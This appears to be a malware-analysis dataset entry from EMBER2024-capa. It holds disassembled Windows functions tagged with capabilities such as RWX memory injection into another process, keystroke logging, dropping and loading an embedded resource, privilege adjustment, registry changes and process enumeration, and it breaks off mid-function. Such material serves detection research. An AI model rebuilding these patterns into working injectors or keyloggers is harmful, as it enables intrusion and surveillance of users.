joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18000f0e0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rbx, qword [r8]
xor esi, esi
mov r14d, r9d
mov rdi, r8
mov rbp, rcx
test dl, dl
je 0x18000f12d
mov r8d, r14d
xor edx, edx
mov r9d, 0x1000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x18000f12d
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x18000f17f
mov r8, qword [rdi]
lea rax, [rsp + 0x60]
mov r9, r14
mov rdx, rbx
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18000f125
mov r9d, dword [rsp + 0x70]
cmp r9d, 0x40
je 0x18000f17d
lea rax, [rsp + 0x58]
mov r8, r14
mov rdx, rbx
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x18000f17d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, esi
mov rbp, qword [rsp + 0x68]
mov qword [rdi], rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret

Function at 0x18000fe50
Capabilities:
Query or enumerate registry key

Disassembly:
push rbp
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x180059540]
mov r15, rcx
mov rcx, rdx
mov rbp, r8
call qword [rax + 0xe0]
mov r14, rax
test rax, rax
je 0x18000ffd5
mov qword [rsp + 0x90], rbx
mov ebx, 0x57
test rbp, rbp
je 0x18000ffb8
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x60], r12
xor r12d, r12d
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbp
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov ebx, eax
test eax, eax
jne 0x18000ffb3
mov ebx, dword [rsp + 0xa8]
mov qword [rsp + 0x98], rsi
lea edx, [rax + 2]
inc ebx
mov qword [rsp + 0x68], rdi
mov esi, r12d
mov ecx, ebx
mov dword [rsp + 0xa8], ebx
call fcn.18002aed4
mov rdi, rax
test rax, rax
jne 0x18000ff1f
lea ebx, [rax + 8]
jmp 0x18000ffa6
mov r9d, ebx
mov r8, rax
xor edx, edx
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov ebx, eax
test eax, eax
jne 0x18000ff94
nop word [rax + rax]
mov rax, qword [0x180059540]
mov rcx, rdi
call qword [rax + 0x2e0]
mov rbx, rax
test rax, rax
je 0x18000ff76
mov r9, qword [0x180059540]
mov r8, rax
mov edx, 0x103eb
mov rcx, r14
call qword [r9 + 0x50]
mov rcx, rbx
call fcn.18002af18
mov r9d, dword [rsp + 0xa8]
inc esi
mov r8, rdi
mov edx, esi
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov ebx, eax
test eax, eax
je 0x18000ff40
cmp ebx, 0x103
mov rcx, rdi
cmove ebx, r12d
call fcn.18002af18
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x98]
mov r12, qword [rsp + 0x60]
mov rax, qword [0x180059540]
mov r8, r14
mov rdx, r15
mov ecx, ebx
call qword [rax + 0xc0]
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop r15
pop r14
pop rbp
ret
Function at 0x18000fff0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push r14
push r15
sub rsp, 0x80
mov rax, qword [0x180059540]
mov r15, rcx
mov rcx, rdx
mov rbp, r8
call qword [rax + 0xe0]
mov r14, rax
test rax, rax
je 0x1800101b1
mov qword [rsp + 0xa0], rbx
mov ebx, 0x57
test rbp, rbp
je 0x180010194
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x70], r12
xor r12d, r12d
mov qword [rsp + 0x58], r12
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbp
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
mov ebx, eax
test eax, eax
jne 0x18001018f
mov ebx, dword [rsp + 0xb8]
mov qword [rsp + 0xa8], rsi
lea edx, [rax + 2]
inc ebx
mov qword [rsp + 0x78], rdi
mov esi, r12d
mov ecx, ebx
mov dword [rsp + 0xb8], ebx
call fcn.18002aed4
mov rdi, rax
test rax, rax
jne 0x1800100c2
lea ebx, [rax + 8]
jmp 0x180010182
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea r9, [rsp + 0x60]
mov r8, rax
xor edx, edx
mov rcx, rbp
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x60], ebx
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov ebx, eax
test eax, eax
jne 0x180010170
nop dword [rax]
nop word [rax + rax]
mov rax, qword [0x180059540]
mov rcx, rdi
call qword [rax + 0x2e0]
mov rbx, rax
test rax, rax
je 0x180010136
mov r9, qword [0x180059540]
mov r8, rax
mov edx, 0x103f2
mov rcx, r14
call qword [r9 + 0x50]
mov rcx, rbx
call fcn.18002af18
mov eax, dword [rsp + 0xb8]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
inc esi
lea r9, [rsp + 0x60]
mov r8, rdi
mov rcx, rbp
mov edx, esi
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x60], eax
mov qword [rsp + 0x20], r12
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
mov ebx, eax
test eax, eax
je 0x180010100
cmp ebx, 0x103
mov rcx, rdi
cmove ebx, r12d
call fcn.18002af18
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0xa8]
mov r12, qword [rsp + 0x70]
mov rax, qword [0x180059540]
mov r8, r14
mov rdx, r15
mov ecx, ebx
call qword [rax + 0xc0]
mov rbx, qword [rsp + 0xa0]
add rsp, 0x80
pop r15
pop r14
pop rbp
ret
Function at 0x180010650
Capabilities:
Set registry value

Disassembly:
push rbp
push rsi
push r12
push r15
sub rsp, 0x48
mov rax, qword [0x180059540]
mov r15, rcx
mov rcx, rdx
mov r12, r8
mov rsi, rdx
call qword [rax + 0xe0]
mov rbp, rax
test rax, rax
je 0x1800107ba
mov qword [rsp + 0x70], rbx
mov rbx, qword [0x180059540]
mov edx, 0x103f2
mov rcx, rsi
mov qword [rsp + 0x78], rdi
mov qword [rsp + 0x40], r14
call qword [rbx + 0xc8]
mov rcx, rax
call qword [rbx + 0x2d8]
mov r8, qword [0x180059540]
mov edx, 0x203f3
mov rcx, rsi
mov r14, rax
call qword [r8 + 0x100]
mov r9, qword [0x180059540]
lea r8, [rsp + 0x30]
mov edx, 0x403f4
mov rcx, rsi
mov edi, eax
call qword [r9 + 0x88]
test eax, eax
je 0x1800106f1
mov edi, 0x57
jmp 0x18001078e
test edi, edi
je 0x180010759
cmp edi, 2
jbe 0x18001072a
cmp edi, 7
jne 0x180010759
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
lea rdx, [rsp + 0x88]
mov qword [rsp + 0x88], rax
call fcn.180010400
mov rbx, rax
mov rax, qword [rsp + 0x88]
jmp 0x180010762
mov rax, qword [0x180059540]
mov rcx, qword [rsp + 0x38]
call qword [rax + 0x2d8]
mov rbx, rax
or rax, 0xffffffffffffffff
cmp word [rbx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x180010743
lea rax, [rax*2 + 2]
jmp 0x180010762
mov eax, dword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
mov dword [rsp + 0x28], eax
mov r9d, edi
xor r8d, r8d
mov rdx, r14
mov rcx, r12
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, eax
cmp rbx, qword [rsp + 0x38]
je 0x18001078e
mov rcx, rbx
call fcn.18002af18
mov rcx, r14
call fcn.18002af18
mov rax, qword [0x180059540]
mov r8, rbp
mov rdx, r15
mov ecx, edi
call qword [rax + 0xc0]
mov r14, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
add rsp, 0x48
pop r15
pop r12
pop rsi
pop rbp
ret
Function at 0x1800107d0
Capabilities:
Query or enumerate registry value

Disassembly:
push rsi
push rdi
push r12
push r14
sub rsp, 0x48
mov rax, qword [0x180059540]
mov r12, rcx
mov rcx, rdx
mov r14, r8
mov rsi, rdx
call qword [rax + 0xe0]
mov rdi, rax
test rax, rax
je 0x1800109d5
mov qword [rsp + 0x70], rbx
mov rbx, qword [0x180059540]
mov qword [rsp + 0x78], rbp
xor ebp, ebp
mov edx, 0x103f2
mov rcx, rsi
mov qword [rsp + 0x40], r15
mov dword [rsp + 0x88], ebp
mov dword [rsp + 0x30], ebp
call qword [rbx + 0xc8]
mov rcx, rax
call qword [rbx + 0x2d8]
xor r9d, r9d
xor r8d, r8d
mov r15, rax
lea rax, [rsp + 0x88]
mov rcx, r14
mov qword [rsp + 0x28], rax
mov rdx, r15
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebp, eax
test eax, eax
jne 0x1800109a9
mov ecx, dword [rsp + 0x88]
inc ecx
mov dword [rsp + 0x88], ecx
mov edx, ecx
lea ecx, [rax + 1]
call fcn.18002aed4
mov rbx, rax
test rax, rax
je 0x1800109a9
lea rax, [rsp + 0x88]
lea r9, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov rdx, r15
mov rcx, r14
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebp, eax
test eax, eax
jne 0x1800109a9
mov rax, qword [0x180059540]
mov r8d, dword [rsp + 0x30]
mov edx, 0x203f3
mov rcx, rdi
call qword [rax + 0x58]
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x18001098c
cmp eax, 2
jbe 0x180010954
cmp eax, 4
je 0x18001093d
cmp eax, 7
jne 0x18001098c
mov eax, dword [rsp + 0x88]
lea rdx, [rsp + 0x38]
mov rcx, rbx
mov qword [rsp + 0x38], rax
call fcn.1800101d0
mov edx, 0x403f4
mov rsi, rax
mov rcx, rdi
test rax, rax
je 0x180010994
mov r10, qword [0x180059540]
mov r9d, dword [rsp + 0x38]
mov r8, rax
call qword [r10 + 0x48]
mov rcx, rsi
call fcn.18002af18
jmp 0x1800109a9
mov rax, qword [0x180059540]
mov r8d, dword [rbx]
mov edx, 0x403f4
mov rcx, rdi
call qword [rax + 0x58]
jmp 0x1800109a9
mov rax, qword [0x180059540]
mov rcx, rbx
call qword [rax + 0x2e0]
mov edx, 0x403f4
mov rcx, rdi
mov rsi, rax
test rax, rax
je 0x180010994
mov r9, qword [0x180059540]
mov r8, rax
call qword [r9 + 0x50]
mov rcx, rsi
call fcn.18002af18
jmp 0x1800109a9
mov edx, 0x403f4
mov rcx, rdi
mov rax, qword [0x180059540]
mov r9d, dword [rsp + 0x88]
mov r8, rbx
call qword [rax + 0x48]
mov rcx, r15
call fcn.18002af18
mov rax, qword [0x180059540]
mov r8, rdi
mov rdx, r12
mov ecx, ebp
call qword [rax + 0xc0]
mov r15, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
add rsp, 0x48
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x180014170
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
lea rcx, [0x180042c90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.psapi.dll
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rcx, str.kernel32.dll
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rbx, rbx
je 0x180014269
test rax, rax
je 0x180014269
test rdi, rdi
je 0x180014269
lea rdx, str.QueryFullProcessImageNameW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18005ab68], rax
test rax, rax
jne 0x18001420c
lea rcx, str.Psapi.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
je 0x180014269
lea rdx, str.GetProcessImageFileNameW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18005ab70], rax
test rax, rax
je 0x180014269
lea rdx, str.GetProcessImageFileNameW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18005ab70], rax
test rax, rax
je 0x180014269
lea rdx, str.GetRawInputData
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x18005ab50], rax
test rax, rax
je 0x180014263
lea rdx, str.RegisterRawInputDevices
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18005ab78], rax
test rax, rax
jne 0x180014276
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor eax, eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov eax, 1
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x180014430
Capabilities:
Log keystrokes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
xor eax, eax
movzx ebx, cx
mov edi, edx
mov qword [rsp + 0x30], rax
xor edx, edx
mov ecx, ebx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x20], 1
mov dword [rsp + 0x30], eax
call qword [sym.imp.USER32.dll_MapVirtualKeyA]
mov r8d, 0x28
lea rdx, [rsp + 0x20]
mov qword [rsp + 0x38], 0
lea ecx, [r8 - 0x27]
mov word [rsp + 0x2a], ax
mov word [rsp + 0x28], bx
mov dword [rsp + 0x2c], edi
call qword [sym.imp.USER32.dll_SendInput]
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x1800147b0
Capabilities:
Check if file exists
Delete file
Extract resource via kernel32 functions
Get file attributes
Query environment variable
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x420
lea rcx, [rsp + 0x20]
xor edx, edx
mov r8d, 0x400
xor ebx, ebx
call fcn.18002b680
lea rdx, [rsp + 0x20]
lea rcx, [0x180042d08]
mov r8d, 0x3ff
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov rcx, qword [0x180059538]
lea r8, [0x180042d18]
lea edx, [rbx + 0x65]
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
test rax, rax
jne 0x18001481f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rbx, qword [rsp + 0x440]
add rsp, 0x420
pop rdi
ret
mov rcx, qword [0x180059538]
mov rdx, rax
mov qword [rsp + 0x430], rbp
mov qword [rsp + 0x438], rsi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, qword [0x180059538]
mov rdx, rdi
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
lea rcx, [rsp + 0x20]
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1800148b6
lea rdx, [0x180042d1c]
lea rcx, [rsp + 0x20]
call fcn.18002ddc4
mov rdi, rax
test rax, rax
je 0x1800148ae
mov r8d, ebp
mov r9, rax
mov edx, 1
mov rcx, rsi
call fcn.18002cac0
mov rcx, rdi
call fcn.18002c12c
jmp 0x1800148b6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, qword [rsp + 0x438]
mov rbp, qword [rsp + 0x430]
mov qword [0x1800597e8], rax
test rax, rax
jne 0x1800148e5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov eax, ebx
mov rbx, qword [rsp + 0x440]
add rsp, 0x420
pop rdi
ret
Function at 0x18001b940
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x20
xor esi, esi
mov rdi, rcx
mov qword [rcx + 8], rsi
call fcn.18001bc40
mov edx, 0x98
mov rcx, rdi
mov dword [rsp + 0x38], eax
call fcn.18001bc20
mov rbx, rax
test rax, rax
jne 0x18001b996
mov rcx, rdi
call fcn.18001f650
mov rcx, qword [rdi]
mov dword [rcx + 0x28], 0x38
mov rcx, qword [rdi]
mov dword [rcx + 0x2c], esi
mov rdx, qword [rdi]
mov rcx, rdi
call qword [rdx]
mov dword [rbx + 0x5c], 0x3b9aca00
lea rax, [fcn.18001b150]
lea rcx, str.JPEGMEM
mov qword [rbx], rax
lea rax, [fcn.18001afa0]
mov qword [rbx + 8], rax
lea rax, [fcn.18001b070]
mov qword [rbx + 0x10], rax
lea rax, [fcn.18001aeb0]
mov qword [rbx + 0x18], rax
lea rax, [0x18001b840]
mov qword [rbx + 0x20], rax
lea rax, [0x18001b790]
mov qword [rbx + 0x28], rax
lea rax, [0x18001b5b0]
mov qword [rbx + 0x30], rax
lea rax, [0x18001ad50]
mov qword [rbx + 0x38], rax
lea rax, [0x18001abe0]
mov qword [rbx + 0x40], rax
lea rax, [fcn.18001b440]
mov qword [rbx + 0x48], rax
lea rax, [0x18001b8f0]
mov qword [rbx + 0x50], rax
mov eax, dword [rsp + 0x38]
mov dword [rbx + 0x58], eax
mov qword [rbx + 0x68], rsi
mov qword [rbx + 0x78], rsi
mov qword [rbx + 0x60], rsi
mov qword [rbx + 0x70], rsi
mov qword [rbx + 0x80], rsi
mov qword [rbx + 0x88], rsi
mov dword [rbx + 0x90], 0x98
mov qword [rdi + 8], rbx
call fcn.18002f7e0
test rax, rax
je 0x18001ba9d
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x38]
lea rdx, str._ld_c
mov rcx, rax
mov byte [rsp + 0x30], 0x78
call fcn.18002f84c
test eax, eax
jle 0x18001ba9d
movzx eax, byte [rsp + 0x30]
sub al, 0x4d
test al, 0xdf
jne 0x18001ba90
imul eax, dword [rsp + 0x38], 0x3e8
jmp 0x18001ba94
mov eax, dword [rsp + 0x38]
imul eax, eax, 0x3e8
mov dword [rbx + 0x58], eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret

Function at 0x18002efe0
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.18002ee48
Function at 0x140022184
Capabilities:
Get number of processors

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
cmp ah, ah
je 0x1400222ba
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x44], 0
je 0x14002226c
jmp 0x1400221f8
lea r8, [rsp + 0x38]
mov rax, qword [rsp + 0xd8]
jmp 0x14002224c
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xffffffff
je 0x14002230e
cmp di, di
je 0x140022378
mov rax, qword [rsp + 0xd0]
jmp 0x1400222ff
mov byte [rsp + 0x38], 0x7c
cmp cl, cl
je 0x14002225a
sub rsp, 0xb8
mov r8d, 0x60
cmp cl, cl
je 0x140022273
movsxd rax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0xd8]
jmp 0x140022233
ret
cmp qword [rax + 8], 0
jne 0x1400221de
lea rax, [rsp + 0x50]
jmp 0x140022216
mov rdi, qword [rsp + 0xd0]
mov rsi, rax
cmp dl, dl
je 0x1400222a2
mov dword [rsp + 0x44], eax
movsxd rax, dword [rsp + 0x40]
jmp 0x14002235a
add rax, qword [rcx]
mov rcx, qword [rsp + 0x48]
jmp 0x140022269
mov rdi, qword [rsp + 0xd0]
mov rsi, rax
cmp cl, cl
je 0x14002227f
mov rdx, qword [rax + 8]
mov rax, qword [rsp + 0xd8]
jmp 0x1400222c5
mov byte [rsp + 0x39], 0x53
mov byte [rsp + 0x3a], 0x50
cmp cx, cx
je 0x1400222ae
mov qword [rcx], rax
movsxd rax, dword [rsp + 0x44]
jmp 0x140022288
xor edx, edx
lea rcx, [rsp + 0x50]
cmp ax, ax
je 0x1400222e2
mov ecx, 0x60
rep movsb byte [rdi], byte [rsi]
jmp 0x1400222f7
mov rcx, qword [rsp + 0x48]
mov qword [rcx + 8], rax
cmp cl, cl
je 0x140022295
movsxd rax, dword [rsp + 0x30]
add rax, 5
cmp ah, ah
je 0x140022308
mov ecx, 0x60
rep movsb byte [rdi], byte [rsi]
jmp 0x1400221d1
mov byte [rsp + 0x3b], 0x4c
mov byte [rsp + 0x3c], 0x7c
jmp 0x14002232c
push rsi
push rdi
cmp cx, cx
je 0x1400221e7
mov rcx, qword [rax]
call fcn.140022ae6
cmp al, al
je 0x1400221b9
sub ecx, eax
mov eax, ecx
cmp di, di
je 0x140022225
call fcn.14002292c
mov rax, qword [rsp + 0xd8]
cmp bl, bl
je 0x140022208
mov rax, qword [rsp + 0xd0]
add rsp, 0xb8
jmp 0x140022350
mov dword [rsp + 0x34], eax
jmp 0x140022346
lea rax, [rsp + 0x50]
cmp dx, dx
je 0x14002223d
mov qword [rsp + 0x20], rax
mov r9d, 5
jmp 0x1400221a7
mov dword [rsp + 0x34], 0
mov dword [rsp + 0x40], 0
jmp 0x14002233e
mov dword [rsp + 0x30], 0
movsxd rax, dword [rsp + 0x34]
cmp sp, sp
je 0x14002231c
pop rdi
pop rsi
cmp ch, ch
je 0x140022207
lea rax, [rsp + rax + 0x50]
mov qword [rsp + 0x48], rax
jmp 0x140022366
movsxd rax, dword [rsp + 0x40]
add rax, 0x10
cmp si, si
je 0x140022196
mov eax, dword [rsp + 0x34]
mov ecx, dword [rsp + 0x30]
cmp bl, bl
je 0x1400222d5
Function at 0x140025180
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140024fac
Function at 0x1400024e0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x20
mov r12, rcx
xor esi, esi
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ecx, 0x130
mov rdi, rax
call fcn.140006f64
mov rbx, rax
test rax, rax
je 0x14000259e
mov rdx, rax
mov rcx, rdi
mov dword [rax], 0x130
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14000258b
lea rcx, [rbx + 0x2c]
mov rdx, r12
mov qword [rsp + 0x30], rbp
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x140002583
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x140002586
nop word [rax + rax]
lea rcx, [rbx + 0x2c]
mov rdx, r12
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x140002583
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140002560
jmp 0x140002586
mov esi, dword [rbx + 8]
mov rbp, qword [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.140006b50
mov eax, esi
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret

Function at 0x1400025c0
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x160
mov rax, qword [0x140033028]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov r12, rcx
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
mov qword [rsp + 0x30], rax
lea rdx, str.GetThreadDesktop
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, str.GetUserObjectInformationA
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
lea rdx, str.SetThreadDesktop
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
lea rdx, str.CloseDesktop
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
mov qword [rsp + 0x40], rax
lea rdx, [0x14002dd30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov ecx, eax
call rbx
mov r14, rax
mov ebx, 1
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x100
lea r8, [rsp + 0x50]
lea edx, [rbx + 1]
mov rcx, r12
call qword [rsp + 0x48]
test eax, eax
jne 0x1400026ac
xor ebx, ebx
jmp 0x1400026c1
mov rcx, r12
call r15
test eax, eax
jne 0x1400026ba
xor ebx, ebx
jmp 0x1400026c1
mov rcx, r14
call r13
nop
test rdi, rdi
je 0x1400026cf
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
test rsi, rsi
je 0x1400026dd
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, ebx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140006b30
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x1400027d0
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140033028]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, ecx
lea rcx, [0x14002db68]
mov r14b, 1
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [0x14002dd70]
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.AdjustTokenPrivileges
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.LookupPrivilegeValueA
mov rcx, rsi
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov r13, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [0x14002ddb8]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call rbx
test eax, eax
je 0x140002911
neg ebp
lea r8, [rsp + 0x3c]
lea rdx, str.SeShutdownPrivilege
sbb eax, eax
xor ecx, ecx
mov dword [rsp + 0x38], 1
and eax, 2
mov dword [rsp + 0x44], eax
call r13
mov rcx, qword [rsp + 0x30]
xor ebp, ebp
lea r8, [rsp + 0x38]
xor edx, edx
lea r9d, [rbp + 0x10]
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
call r12
lea rcx, [0x14002ddd0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [0x14002dde0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov rcx, qword [rsp + 0x30]
movzx ebx, r14b
test eax, eax
cmovne ebx, ebp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x140002900
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
test rdi, rdi
je 0x14000290e
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movzx eax, bl
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140006b30
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret

Function at 0x140002940
Capabilities:
Enumerate processes

Disassembly:
push r12
push r13
push r14
sub rsp, 0x30
mov r13, rdx
mov r14, rcx
mov rdx, r8
mov rcx, r13
mov r12, r8
mov dword [r8], 0x130
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140002a01
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], rsi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], r15
lea r15, [0x140034c48]
nop
mov rbx, r15
mov esi, reloc.WS2_32.dll_recv
nop dword [rax + rax]
mov rdx, qword [rbx - 8]
lea rcx, [r12 + 0x2c]
call fcn.1400071c0
test eax, eax
jne 0x1400029cf
